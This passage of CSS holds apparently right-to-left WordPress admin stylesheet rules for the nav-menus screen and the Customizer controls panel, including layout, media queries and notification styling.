}

.menu-item-settings .field-move {
	margin: 3px 0 5px;
	line-height: 1.5;
}

.field-move-visual-label {
	float: right;
	margin-left: 4px;
}

.menu-item-settings .field-move .button-link {
	display: none;
	margin: 0 2px;
}

.menu-item-edit-active .menu-item-settings {
	display: block;
}

.menu-item-edit-inactive .menu-item-settings {
	display: none;
}

.add-menu-item-pagelinks {
	margin: .5em -10px;
	text-align: center;
}

.add-menu-item-pagelinks .page-numbers {
	display: inline-block;
	min-width: 20px;
}

.add-menu-item-pagelinks .page-numbers.dots {
	min-width: 0;
}

.link-to-original {
	display: block;
	margin: 0 0 15px;
	padding: 3px 5px 5px;
	border: 1px solid #dcdcde;
	color: #646970;
	font-size: 12px;
}

.link-to-original a {
	padding-right: 4px;
	font-style: normal;
}

.hidden-field {
	display: none;
}

.menu-item-settings .description-thin,
.menu-item-settings .description-wide {
	margin-left: 10px;
	float: right;
}

.description-thin {
	width: calc(50% - 5px);
}

.menu-item-settings .description-thin + .description-thin {
	margin-left: 0;
}

.description-wide {
	width: 100%;
}

.menu-item-actions {
	padding-top: 15px;
	padding-bottom: 7px;
}

#cancel-save {
	cursor: pointer;
}

/* Major/minor publishing actions (classes) */
.nav-menus-php .major-publishing-actions {
	padding: 10px 0;
	display: flex;
	align-items: center;
}

.nav-menus-php .major-publishing-actions > * {
	margin-left: 10px;
}

.nav-menus-php .major-publishing-actions .form-invalid {
	padding-right: 4px;
	margin-right: -4px;
}

#nav-menus-frame,
.button-controls,
#menu-item-url-wrap,
#menu-item-name-wrap {
	display: block;
}

/* =Media Queries
-------------------------------------------------------------- */

@media only screen and (min-width: 769px) and (max-width: 1000px) {
	body.menu-max-depth-0 {
		min-width: 0 !important;
	}

	#menu-management-liquid {
		width: 100%;
	}

	.nav-menus-php #post-body-content {
		min-width: 0;
	}
}

@media screen and (max-width: 782px) {
	body.nav-menus-php,
	body.wp-customizer {
		min-width: 0 !important;
	}

	#nav-menus-frame {
		margin-right: 0;
		float: none;
		width: 100%;
	}

	#wpbody-content #menu-settings-column {
		display: block;
		width: 100%;
		float: none;
		margin-right: 0;
	}

	#side-sortables .add-menu-item-tabs {
		margin: 15px 0 14px;
	}

	ul.add-menu-item-tabs li.tabs {
		padding: 13px 15px 14px;
	}

	.nav-menus-php .customlinkdiv .howto input {
		width: 65%;
	}

	.nav-menus-php .quick-search {
		width: 85%;
	}

	#menu-management-liquid {
		margin-top: 25px;
	}

	.nav-menus-php .menu-name-label.howto span {
		margin-top: 13px
	}

	#menu-name {
		width: 100%;
	}

	.nav-menus-php #nav-menu-header .major-publishing-actions .publishing-action {
		padding-top: 1em;
	}

	.nav-menus-php .delete-action {
		font-size: 14px;
		line-height: 2.14285714;
	}

	.menu-item-bar .menu-item-handle,
	.menu-item-settings,
	.description-wide {
		width: auto;
	}

	.menu-item-settings {
		padding: 10px;
	}

	.menu-item-settings .description-thin,
	.menu-item-settings .description-wide {
		width: 100%;
	}

	.menu-item-settings input {
		width: 100%;
	}

	.menu-item-settings input[type="checkbox"],
	.menu-item-settings input[type="radio"] {
		width: 25px;
	}

	.menu-settings-group {
		padding-right: 0;
		overflow: visible;
	}

	.menu-settings-group-name {
		float: none;
		width: auto;
		margin-right: 0;
		margin-bottom: 15px;
	}

	.menu-settings-input {
		float: none;
		margin-bottom: 15px;
	}

	.menu-edit .checkbox-input {
		margin-top: 0;
	}

	.manage-menus select {
		margin: 0.5em 0;
	}

	.wp-core-ui .manage-menus .button {
		margin-bottom: 0;
	}

	.widefat .menu-locations .menu-location-title {
		padding-top: 16px;
	}
}

@media only screen and (min-width: 783px) {
    @supports (position: sticky) and (scroll-margin-bottom: 130px) {

		#nav-menu-footer {
                position: sticky;
				bottom: 0;
				z-index: 10;
				box-shadow: 0 -1px 0 0 #ddd;
        }

        #save_menu_header {
                display: none;
        }
    }
}

@media only screen and (max-width: 768px) {
	/* menu locations */
	#menu-locations-wrap .widefat {
		width: 100%;
	}

	.bulk-select-button {
		padding: 5px 10px;
	}
}
/*! This file is auto-generated */
body {
	overflow: hidden;
	-webkit-text-size-adjust: 100%;
}

.customize-controls-close,
.widget-control-actions a {
	text-decoration: none;
}

#customize-controls h3 {
	font-size: 14px;
}

#customize-controls img {
	max-width: 100%;
}

#customize-controls .submit {
	text-align: center;
}

#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked {
	background-color: rgba(0, 0, 0, 0.7);
	padding: 25px;
}

#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .customize-changeset-locked-message {
	margin-right: auto;
	margin-left: auto;
	max-width: 366px;
	min-height: 64px;
	width: auto;
	padding: 25px 109px 25px 25px;
	position: relative;
	background: #fff;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	line-height: 1.5;
	overflow-y: auto;
	text-align: right;
	top: calc( 50% - 100px );
}

#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .currently-editing {
	margin-top: 0;
}
#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .action-buttons {
	margin-bottom: 0;
}

.customize-changeset-locked-avatar {
	width: 64px;
	position: absolute;
	right: 25px;
	top: 25px;
}

.wp-core-ui.wp-customizer .customize-changeset-locked-message a.button {
	margin-left: 10px;
	margin-top: 0;
}

#customize-controls .description {
	color: #50575e;
}

#customize-save-button-wrapper {
	float: left;
	margin-top: 9px;
}

body:not(.ready) #customize-save-button-wrapper .save {
	visibility: hidden;
}
#customize-save-button-wrapper .save {
	float: right;
	border-radius: 3px;
	box-shadow: none; /* @todo Adjust box shadow based on the disable states of paired button. */
	margin-top: 0;
}

#customize-save-button-wrapper .save:focus, #publish-settings:focus {
	box-shadow: 0 1px 0 #2271b1, 0 0 2px 1px #72aee6; /* This is default box shadow for focus */
}

#customize-save-button-wrapper .save.has-next-sibling {
	border-radius: 0 3px 3px 0;
}

#customize-sidebar-outer-content {
	position: absolute;
	top: 0;
	bottom: 0;
	right: 0;
	visibility: hidden;
	overflow-x: hidden;
	overflow-y: auto;
	width: 100%;
	margin: 0;
	z-index: -1;
	background: #f0f0f1;
	transition: right .18s;
	border-left: 1px solid #dcdcde;
	border-right: 1px solid #dcdcde;
	height: 100%;
}

@media (prefers-reduced-motion: reduce) {
	#customize-sidebar-outer-content {
		transition: none;
	}
}

#customize-theme-controls .control-section-outer {
	display: none !important;
}

#customize-outer-theme-controls .accordion-section-content {
	padding: 12px;
}

#customize-outer-theme-controls .accordion-section-content.open {
	display: block;
}

.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content {
	visibility: visible;
	right: 100%;
	transition: right .18s;
}

@media (prefers-reduced-motion: reduce) {
	.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content {
		transition: none;
	}
}

.customize-outer-pane-parent {
	margin: 0;
}

.outer-section-open .wp-full-overlay.expanded .wp-full-overlay-main {
	right: 300px;
	opacity: 0.4;
}

.outer-section-open .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,
.outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,
.adding-menu-items .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,
.adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,
.adding-widget .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,
.adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main {
	right: 64%;
}

#customize-outer-theme-controls li.notice {
	padding-top: 8px;
	padding-bottom: 8px;
	margin-right: 0;
	margin-bottom: 10px;
}

#publish-settings {
	text-indent: 0;
	border-radius: 3px 0 0 3px;
	padding-right: 0;
	padding-left: 0;
	box-shadow: none; /* @todo Adjust box shadow based on the disable states of paired button. */
	font-size: 14px;
	width: 30px;
	float: right;
	transform: none;
	margin-top: 0;
	line-height: 2;
}

body:not(.ready) #publish-settings,
body.trashing #customize-save-button-wrapper .save,
body.trashing #publish-settings {
	display: none;
}

#customize-header-actions .spinner {
	margin-top: 13px;
	margin-left: 4px;
}

.saving #customize-header-actions .spinner,
.trashing #customize-header-actions .spinner {
	visibility: visible;
}

#customize-header-actions {
	border-bottom: 1px solid #dcdcde;
}

#customize-controls .wp-full-overlay-sidebar-content {
	overflow-y: auto;
	overflow-x: hidden;
}

.outer-section-open #customize-controls .wp-full-overlay-sidebar-content {
	background: #f0f0f1;
}

#customize-controls .customize-info {
	border: none;
	border-bottom: 1px solid #dcdcde;
	margin-bottom: 15px;
}

#customize-control-changeset_status .customize-inside-control-row,
#customize-control-changeset_preview_link input {
	background-color: #fff;
	border-bottom: 1px solid #dcdcde;
	box-sizing: content-box;
	width: 100%;
	margin-right: -12px;
	padding-right: 12px;
	padding-left: 12px;
}

#customize-control-trash_changeset {
	margin-top: 20px;
}
#customize-control-trash_changeset .button-link {
	position: relative;
	padding-right: 24px;
	display: inline-block;
}
#customize-control-trash_changeset .button-link:before {
	content: "\f182";
	font: normal 22px dashicons;
	text-decoration: none;
	position: absolute;
	right: 0;
	top: -2px;
}

#customize-controls .date-input:invalid {
	border-color: #d63638;
}

#customize-control-changeset_status .customize-inside-control-row {
	padding-top: 10px;
	padding-bottom: 10px;
	font-weight: 500;
}

#customize-control-changeset_status .customize-inside-control-row:first-of-type {
	border-top: 1px solid #dcdcde;
}

#customize-control-changeset_status .customize-control-title {
	margin-bottom: 6px;
}

#customize-control-changeset_status input {
	margin-right: 0;
}

#customize-control-changeset_preview_link {
	position: relative;
	display: block;
}

.preview-link-wrapper .customize-copy-preview-link.preview-control-element.button {
	margin: 0;
	position: absolute;
	bottom: 9px;
	left: 0;
}

.preview-link-wrapper {
	position: relative;
}

.customize-copy-preview-link:before,
.customize-copy-preview-link:after {
	content: "";
	height: 28px;
	position: absolute;
	background: #fff;
	top: -1px;
}

.customize-copy-preview-link:before {
	right: -10px;
	width: 9px;
	opacity: 0.75;
}

.customize-copy-preview-link:after {
	right: -5px;
	width: 4px;
	opacity: 0.8;
}

#customize-control-changeset_preview_link input {
	line-height: 2.85714286; /* 40px */
	border-top: 1px solid #dcdcde;
	border-right: none;
	border-left: none;
	text-indent: -999px;
	color: #fff;
	/* Only necessary for IE11 */
	min-height: 40px;
}

#customize-control-changeset_preview_link label {
	position: relative;
	display: block;
}

#customize-control-changeset_preview_link a {
	display: inline-block;
	position: absolute;
	white-space: nowrap;
	overflow: hidden;
	width: 90%;
	bottom: 14px;
	font-size: 14px;
	text-decoration: none;
}

#customize-control-changeset_preview_link a.disabled,
#customize-control-changeset_preview_link a.disabled:active,
#customize-control-changeset_preview_link a.disabled:focus,
#customize-control-changeset_preview_link a.disabled:visited {
	color: #000;
	opacity: 0.4;
	cursor: default;
	outline: none;
	box-shadow: none;
}

#sub-accordion-section-publish_settings .customize-section-description-container {
	display: none;
}

#customize-controls .customize-info.section-meta {
	margin-bottom: 15px;
}

.customize-control-date_time .customize-control-description + .date-time-fields.includes-time {
	margin-top: 10px;
}

.customize-control.customize-control-date_time .date-time-fields .date-input.day {
	margin-left: 0;
}

.date-time-fields .date-input.month {
	width: auto;
	margin: 0;
}

.date-time-fields .date-input.day,
.date-time-fields .date-input.hour,
.date-time-fields .date-input.minute {
	width: 46px;
}

.date-time-fields .date-input.year {
	width: 65px;
}

.date-time-fields .date-input.meridian {
	width: auto;
	margin: 0;
}

.date-time-fields .time-row {
	margin-top: 12px;
}

#customize-control-changeset_preview_link {
	margin-top: 6px;
}

#customize-control-changeset_status {
	margin-bottom: 0;
	padding-bottom: 0;
}

#customize-control-changeset_scheduled_date {
	box-sizing: content-box;
	width: 100%;
	margin-right: -12px;
	padding: 12px;
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	margin-bottom: 0;
}

#customize-control-changeset_scheduled_date .customize-control-description {
	font-style: normal;
}

#customize-controls .customize-info.is-in-view,
#customize-controls .customize-section-title.is-in-view {
	position: absolute;
	z-index: 9;
	width: 100%;
	box-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);
}

#customize-controls .customize-section-title.is-in-view {
	margin-top: 0;
}

#customize-controls .customize-info.is-in-view + .accordion-section {
	margin-top: 15px;
}

#customize-controls .customize-info.is-sticky,
#customize-controls .customize-section-title.is-sticky {
	position: fixed;
	top: 46px;
}

#customize-controls .customize-info .accordion-section-title {
	background: #fff;
	color: #50575e;
	border-right: none;
	border-left: none;
	border-bottom: none;
	cursor: default;
}

#customize-controls .customize-info.open .accordion-section-title:after,
#customize-controls .customize-info .accordion-section-title:hover:after,
#customize-controls .customize-info .accordion-section-title:focus:after {
	color: #2c3338;
}

#customize-controls .customize-info .accordion-section-title:after {
	display: none;
}

#customize-controls .customize-info .preview-notice {
	font-size: 13px;
	line-height: 1.9;
}

#customize-controls .customize-pane-child .customize-section-title h3,
#customize-controls .customize-pane-child h3.customize-section-title,
#customize-outer-theme-controls .customize-pane-child .customize-section-title h3,
#customize-outer-theme-controls .customize-pane-child h3.customize-section-title,
#customize-controls .customize-info .panel-title {
	font-size: 20px;
	font-weight: 200;
	line-height: 26px;
	display: block;
	overflow: hidden;
	white-space: nowrap;
	text-overflow: ellipsis;
}

#customize-controls .customize-section-title span.customize-action {
	overflow: hidden;
	white-space: nowrap;
	text-overflow: ellipsis;
}

#customize-controls .customize-info .customize-help-toggle {
	position: absolute;
	top: 4px;
	left: 1px;
	padding: 20px 10px 10px 20px;
	width: 20px;
	height: 20px;
	cursor: pointer;
	box-shadow: none;
	background: transparent;
	color: #50575e;
	border: none;
}

#customize-controls .customize-info .customize-help-toggle:before {
	position: absolute;
	top: 5px;
	right: 6px;
}

#customize-controls .customize-info.open .customize-help-toggle,
#customize-controls .customize-info .customize-help-toggle:focus,
#customize-controls .customize-info .customize-help-toggle:hover {
	color: #2271b1;
}

#customize-controls .customize-info .customize-panel-description,
#customize-controls .customize-info .customize-section-description,
#customize-outer-theme-controls .customize-info .customize-section-description,
#customize-controls .no-widget-areas-rendered-notice {
	color: #50575e;
	display: none;
	background: #fff;
	padding: 12px 15px;
	border-top: 1px solid #dcdcde;
}

#customize-controls .customize-info .customize-panel-description.open + .no-widget-areas-rendered-notice {
	border-top: none;
}
.no-widget-areas-rendered-notice {
	font-style: italic;
}
.no-widget-areas-rendered-notice p:first-child {
	margin-top: 0;
}
.no-widget-areas-rendered-notice p:last-child {
	margin-bottom: 0;
}

#customize-controls .customize-info .customize-section-description {
	margin-bottom: 15px;
}

#customize-controls .customize-info .customize-panel-description p:first-child,
#customize-controls .customize-info .customize-section-description p:first-child {
	margin-top: 0;
}

#customize-controls .customize-info .customize-panel-description p:last-child,
#customize-controls .customize-info .customize-section-description p:last-child {
	margin-bottom: 0;
}

#customize-controls .current-panel .control-section > h3.accordion-section-title {
	padding-left: 30px;
}

#customize-theme-controls .control-section,
#customize-outer-theme-controls .control-section {
	border: none;
}

#customize-theme-controls .accordion-section-title,
#customize-outer-theme-controls .accordion-section-title {
	color: #50575e;
	background-color: #fff;
	border-bottom: 1px solid #dcdcde;
	border-right: 4px solid #fff;
	transition:
		.15s color ease-in-out,
		.15s background-color ease-in-out,
		.15s border-color ease-in-out;
}

@media (prefers-reduced-motion: reduce) {
	#customize-theme-controls .accordion-section-title,
	#customize-outer-theme-controls .accordion-section-title {
		transition: none;
	}
}

#customize-controls #customize-theme-controls .customize-themes-panel .accordion-section-title {
	color: #50575e;
	background-color: #fff;
	border-right: 4px solid #fff;
}

#customize-theme-controls .accordion-section-title:after,
#customize-outer-theme-controls .accordion-section-title:after {
	content: "\f341";
	color: #a7aaad;
}

#customize-theme-controls .accordion-section-content,
#customize-outer-theme-controls .accordion-section-content {
	color: #50575e;
	background: transparent;
}

#customize-controls .control-section:hover > .accordion-section-title,
#customize-controls .control-section .accordion-section-title:hover,
#customize-controls .control-section.open .accordion-section-title,
#customize-controls .control-section .accordion-section-title:focus {
	color: #2271b1;
	background: #f6f7f7;
	border-right-color: #2271b1;
}

#accordion-section-themes + .control-section {
	border-top: 1px solid #dcdcde;
}

.js .control-section:hover .accordion-section-title,
.js .control-section .accordion-section-title:hover,
.js .control-section.open .accordion-section-title,
.js .control-section .accordion-section-title:focus {
	background: #f6f7f7;
}

#customize-theme-controls .control-section:hover > .accordion-section-title:after,
#customize-theme-controls .control-section .accordion-section-title:hover:after,
#customize-theme-controls .control-section.open .accordion-section-title:after,
#customize-theme-controls .control-section .accordion-section-title:focus:after,
#customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
#customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
#customize-outer-theme-controls .control-section.open .accordion-section-title:after,
#customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
	color: #2271b1;
}

#customize-theme-controls .control-section.open {
	border-bottom: 1px solid #f0f0f1;
}

#customize-theme-controls .control-section.open .accordion-section-title,
#customize-outer-theme-controls .control-section.open .accordion-section-title {
	border-bottom-color: #f0f0f1 !important;
}

#customize-theme-controls .control-section:last-of-type.open,
#customize-theme-controls .control-section:last-of-type > .accordion-section-title {
	border-bottom-color: #dcdcde;
}

#customize-theme-controls .control-panel-content:not(.control-panel-nav_menus) .control-section:nth-child(2),
#customize-theme-controls .control-panel-nav_menus .control-section-nav_menu,
#customize-theme-controls .control-section-nav_menu_locations .accordion-section-title {
	border-top: 1px solid #dcdcde;
}

#customize-theme-controls .control-panel-nav_menus .control-section-nav_menu + .control-section-nav_menu {
	border-top: none;
}

#customize-theme-controls > ul {
	margin: 0;
}

#customize-theme-controls .accordion-section-content {
	position: absolute;
	top: 0;
	right: 100%;
	width: 100%;
	margin: 0;
	padding: 12px;
	box-sizing: border-box;
}

#customize-info,
#customize-theme-controls .customize-pane-parent,
#customize-theme-controls .customize-pane-child {
	overflow: visible;
	width: 100%;
	margin: 0;
	padding: 0;
	box-sizing: border-box;
	transition: 0.18s transform cubic-bezier(0.645, 0.045, 0.355, 1); /* easeInOutCubic */
}

@media (prefers-reduced-motion: reduce) {
	#customize-info,
	#customize-theme-controls .customize-pane-parent,
	#customize-theme-controls .customize-pane-child {
		transition: none;
	}
}

#customize-theme-controls .customize-pane-child.skip-transition {
	transition: none;
}

#customize-info,
#customize-theme-controls .customize-pane-parent {
	position: relative;
	visibility: visible;
	height: auto;
	max-height: none;
	overflow: auto;
	transform: none;
}

#customize-theme-controls .customize-pane-child {
	position: absolute;
	top: 0;
	right: 0;
	visibility: hidden;
	height: 0;
	max-height: none;
	overflow: hidden;
	transform: translateX(-100%);
}

#customize-theme-controls .customize-pane-child.open,
#customize-theme-controls .customize-pane-child.current-panel {
	transform: none;
}

.section-open #customize-theme-controls .customize-pane-parent,
.in-sub-panel #customize-theme-controls .customize-pane-parent,
.section-open #customize-info,
.in-sub-panel #customize-info,
.in-sub-panel.section-open #customize-theme-controls .customize-pane-child.current-panel {
	visibility: hidden;
	height: 0;
	overflow: hidden;
	transform: translateX(100%);
}

.section-open #customize-theme-controls .customize-pane-parent.busy,
.in-sub-panel #customize-theme-controls .customize-pane-parent.busy,
.section-open #customize-info.busy,
.in-sub-panel #customize-info.busy,
.busy.section-open.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel,
#customize-theme-controls .customize-pane-child.open,
#customize-theme-controls .customize-pane-child.current-panel,
#customize-theme-controls .customize-pane-child.busy {
	visibility: visible;
	height: auto;
	overflow: auto;
}

#customize-theme-controls .customize-pane-child.accordion-section-content,
#customize-theme-controls .customize-pane-child.accordion-sub-container {
	display: block;
	overflow-x: hidden;
}

#customize-theme-controls .customize-pane-child.accordion-section-content {
	padding: 12px;
}

#customize-theme-controls .customize-pane-child.menu li {
	position: static;
}

.customize-section-description-container,
.control-section-nav_menu .customize-section-description-container,
.control-section-new_menu .customize-section-description-container {
	margin-bottom: 15px;
}

.control-section-nav_menu .customize-control,
.control-section-new_menu .customize-control {
	/* Override default `margin-bottom` for `.customize-control` */
	margin-bottom: 0;
}

.customize-section-title {
	margin: -12px -12px 0;
	border-bottom: 1px solid #dcdcde;
	background: #fff;
}

div.customize-section-description {
	margin-top: 22px;
}

.customize-info div.customize-section-description {
	margin-top: 0;
}

div.customize-section-description p:first-child {
	margin-top: 0;
}

div.customize-section-description p:last-child {
	margin-bottom: 0;
}

#customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child {
	border-bottom: 1px solid #dcdcde;
	padding: 12px;
}

.ios #customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child {
	padding: 12px 12px 13px;
}

.customize-section-title h3,
h3.customize-section-title {
	padding: 10px 14px 12px 10px;
	margin: 0;
	line-height: 21px;
	color: #50575e;
}

.accordion-sub-container.control-panel-content {
	display: none;
	position: absolute;
	top: 0;
	width: 100%;
}

.accordion-sub-container.control-panel-content.busy {
	display: block;
}

.current-panel .accordion-sub-container.control-panel-content {
	width: 100%;
}

.customize-controls-close {
	display: block;
	position: absolute;
	top: 0;
	right: 0;
	width: 45px;
	height: 41px;
	padding: 0 0 0 2px;
	background: #f0f0f1;
	border: none;
	border-top: 4px solid #f0f0f1;
	border-left: 1px solid #dcdcde;
	color: #3c434a;
	text-align: right;
	cursor: pointer;
	transition:
		color .15s ease-in-out,
		border-color .15s ease-in-out,
		background .15s ease-in-out;
	box-sizing: content-box;
}

.customize-panel-back,
.customize-section-back {
	display: block;
	float: right;
	width: 48px;
	height: 71px;
	padding: 0 0 0 24px;
	margin: 0;
	background: #fff;
	border: none;
	border-left: 1px solid #dcdcde;
	border-right: 4px solid #fff;
	box-shadow: none;
	cursor: pointer;
	transition:
		color .15s ease-in-out,
		border-color .15s ease-in-out,
		background .15s ease-in-out;
}

.customize-section-back {
	height: 74px;
}

.ios .customize-panel-back {
	display: none;
}

.ios .expanded.in-sub-panel .customize-panel-back {
	display: block;
}

#customize-controls .panel-meta.customize-info .accordion-section-title {
	margin-right: 48px;
	border-right: none;
}

#customize-controls .panel-meta.customize-info .accordion-section-title:hover,
#customize-controls .cannot-expand:hover .accordion-section-title {
	background: #fff;
	color: #50575e;
	border-right-color: #fff;
}

.customize-controls-close:focus,
.customize-controls-close:hover,
.customize-controls-preview-toggle:focus,
.customize-controls-preview-toggle:hover {
	background: #fff;
	color: #2271b1;
	border-top-color: #2271b1;
	box-shadow: none;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
}

#customize-theme-controls .accordion-section-title:focus .customize-action {
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
	outline-offset: 1px;
}

.customize-panel-back:hover,
.customize-panel-back:focus,
.customize-section-back:hover,
.customize-section-back:focus {
	color: #2271b1;
	background: #f6f7f7;
	border-right-color: #2271b1;
	box-shadow: none;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

.customize-controls-close:before {
	font: normal 22px/45px dashicons;
	content: "\f335";
	position: relative;
	top: -3px;
	right: 13px;
}

.customize-panel-back:before,
.customize-section-back:before {
	font: normal 20px/72px dashicons;
	content: "\f345";
	position: relative;
	right: 9px;
}

.wp-full-overlay-sidebar .wp-full-overlay-header {
	background-color: #f0f0f1;
	transition: padding ease-in-out .18s;
}

.in-sub-panel .wp-full-overlay-sidebar .wp-full-overlay-header {
	padding-right: 62px;
}

p.customize-section-description {
	font-style: normal;
	margin-top: 22px;
	margin-bottom: 0;
}

.customize-section-description ul {
	margin-right: 1em;
}

.customize-section-description ul > li {
	list-style: disc;
}

.section-description-buttons {
	text-align: left;
}

.customize-control {
	width: 100%;
	float: right;
	clear: both;
	margin-bottom: 12px;
}

.customize-control input[type="text"],
.customize-control input[type="password"],
.customize-control input[type="email"],
.customize-control input[type="number"],
.customize-control input[type="search"],
.customize-control input[type="tel"],
.customize-control input[type="url"],
.customize-control input[type="range"] {
	width: 100%;
	margin: 0;
}

.customize-control-hidden {
	margin: 0;
}

.customize-control-textarea textarea {
	width: 100%;
	resize: vertical;
}

.customize-control select {
	width: 100%;
}

.customize-control select[multiple] {
	height: auto;
}

.customize-control-title {
	display: block;
	font-size: 14px;
	line-height: 1.75;
	font-weight: 600;
	margin-bottom: 4px;
}

.customize-control-description {
	display: block;
	font-style: italic;
	line-height: 1.4;
	margin-top: 0;
	margin-bottom: 5px;
}

.customize-section-description a.external-link:after {
	font: 16px/11px dashicons;
	content: "\f504";
	top: 3px;
	position: relative;
	padding-right: 3px;
	display: inline-block;
	text-decoration: none;
}

.customize-control-color .color-picker,
.customize-control-upload div {
	line-height: 28px;
}

.customize-control .customize-inside-control-row {
	line-height: 1.6;
	display: block;
	margin-right: 24px;
	padding-top: 6px;
	padding-bottom: 6px;
}

.customize-control-radio input,
.customize-control-checkbox input,
.customize-control-nav_menu_auto_add input {
	margin-left: 4px;
	margin-right: -24px;
}

.customize-control-radio {
	padding: 5px 0 10px;
}

.customize-control-radio .customize-control-title {
	margin-bottom: 0;
	line-height: 1.6;
}

.customize-control-radio .customize-control-title + .customize-control-description {
	margin-top: 7px;
}

.customize-control-radio label,
.customize-control-checkbox label {
	vertical-align: top;
}

.customize-control .attachment-thumb.type-icon {
	float: right;
	margin: 10px;
	width: auto;
}

.customize-control .attachment-title {
	font-weight: 600;
	margin: 0;
	padding: 5px 10px;
}

.customize-control .attachment-meta {
	white-space: nowrap;
	overflow: hidden;
	text-overflow: ellipsis;
	margin: 0;
	padding: 0 10px;
}

.customize-control .attachment-meta-title {
	padding-top: 7px;
}

/* Remove descender space. */
.customize-control .thumbnail-image,
.customize-control-header .current,
.customize-control .wp-media-wrapper.wp-video {
	line-height: 0;
}

/* Remove descender space. */
.customize-control-site_icon .favicon-preview .browser-preview {
	vertical-align: top;
}

.customize-control .thumbnail-image img {
	cursor: pointer;
}

#customize-controls .thumbnail-audio .thumbnail {
	max-width: 64px;
	max-height: 64px;
	margin: 10px;
	float: right;
}

#available-menu-items .accordion-section-content .new-content-item,
.customize-control-dropdown-pages .new-content-item {
	width: calc(100% - 30px);
	padding: 8px 15px;
	position: absolute;
	bottom: 0;
	z-index: 10;
	background: #f0f0f1;
	display: flex;
}

.customize-control-dropdown-pages .new-content-item {
	width: 100%;
	padding: 5px 1px 5px 0;
	position: relative;
}

#available-menu-items .new-content-item .create-item-input,
.customize-control-dropdown-pages .new-content-item .create-item-input {
	flex-grow: 10;
}

#available-menu-items .new-content-item .add-content,
.customize-control-dropdown-pages .new-content-item .add-content {
	margin: 2px 6px 2px 0;
	flex-grow: 1;
}

.customize-control-dropdown-pages .new-content-item .create-item-input.invalid {
	border: 1px solid #d63638;
}

.customize-control-dropdown-pages .add-new-toggle {
	margin-right: 1px;
	font-weight: 600;
	line-height: 2.2;
}

#customize-preview iframe {
	width: 100%;
	height: 100%;
	position: absolute;
}
#customize-preview iframe + iframe {
	visibility: hidden;
}

.wp-full-overlay-sidebar {
	background: #f0f0f1;
	border-left: 1px solid #dcdcde;
}


/**
 * Notifications
 */

#customize-controls .customize-control-notifications-container { /* Scoped to #customize-controls for specificity over notification styles in common.css. */
	margin: 4px 0 8px;
	padding: 0;
	cursor: default;
}

#customize-controls .customize-control-widget_form.has-error .widget .widget-top,
.customize-control-nav_menu_item.has-error .menu-item-bar .menu-item-handle {
	box-shadow: inset 0 0 0 2px #d63638;
	transition: .15s box-shadow linear;
}

#customize-controls .customize-control-notifications-container li.notice {
	list-style: none;
	margin: 0 0 6px;
	padding: 9px 14px;
	overflow: hidden;
}
#customize-controls .customize-control-notifications-container .notice.is-dismissible {
	padding-left: 38px;
}

.customize-control-notifications-container li.notice:last-child {
	margin-bottom: 0;
}

#customize-controls .customize-control-nav_menu_item .customize-control-notifications-container {
	margin-top: 0;
}

#customize-controls .customize-control-widget_form .customize-control-notifications-container {
	margin-top: 8px;
}

.customize-control-text.has-error input {
	outline: 2px solid #d63638;
}

#customize-controls #customize-notifications-area {
	position: absolute;
	top: 46px;
	width: 100%;
	border-bottom: 1px solid #dcdcde;
	display: block;
	padding: 0;
	margin: 0;
}

.wp-full-overlay.collapsed #customize-controls #customize-notifications-area {
	display: none !important;
}

#customize-controls #customize-notifications-area:not(.has-overlay-notifications),
#customize-controls .customize-section-title > .customize-control-notifications-container:not(.has-overlay-notifications),
#customize-controls .panel-meta > .customize-control-notifications-container:not(.has-overlay-notifications) {
	max-height: 210px;
	overflow-x: hidden;
	overflow-y: auto;
}

#customize-controls #customize-notifications-area > ul,
#customize-controls #customize-notifications-area .notice,
#customize-controls .panel-meta > .customize-control-notifications-container,
#customize-controls .panel-meta > .customize-control-notifications-container .notice,
#customize-controls .customize-section-title > .customize-control-notifications-container,
#customize-controls .customize-section-title > .customize-control-notifications-container .notice {
	margin: 0;
}
#customize-controls .panel-meta > .customize-control-notifications-container,
#customize-controls .customize-section-title > .customize-control-notifications-container {
	border-top: 1px solid #dcdcde;
}
#customize-controls #customize-notifications-area .notice,
#customize-controls .panel-meta > .customize-control-notifications-container .notice,
#customize-controls .customize-section-title > .customize-control-notifications-container .notice {
	padding: 9px 14px;
}
#customize-controls #customize-notifications-area .notice.is-dismissible,
#customize-controls .panel-meta > .customize-control-notifications-container .notice.is-dismissible,
#customize-controls .customize-section-title > .customize-control-notifications-container .notice.is-dismissible {
	padding-left: 38px;
}
#customize-controls #customize-notifications-area .notice + .notice,
#customize-controls .panel-meta > .customize-control-notifications-container .notice + .notice,
#customize-controls .customize-section-title > .customize-control-notifications-container .notice + .notice {
	margin-top: 1px;
}

@keyframes customize-fade-in {
	0%   { opacity: 0; }
	100% { opacity: 1; }
}

#customize-controls .notice.notification-overlay,
#customize-controls #customize-notifications-area .notice.notification-overlay {
	margin: 0;
	border-right: 0; /* @todo Appropriate styles could be added for notice-error, notice-warning, notice-success, etc */
}

#customize-controls .customize-control-notifications-container.has-overlay-notifications {
	animation: customize-fade-in 0.5s;
	z-index: 30;
}

/* Note: Styles for this are also defined in themes.css */
#customize-controls #customize-notifications-area .notice.notification-overlay .notification-message {
	clear: both;
	color: #1d2327;
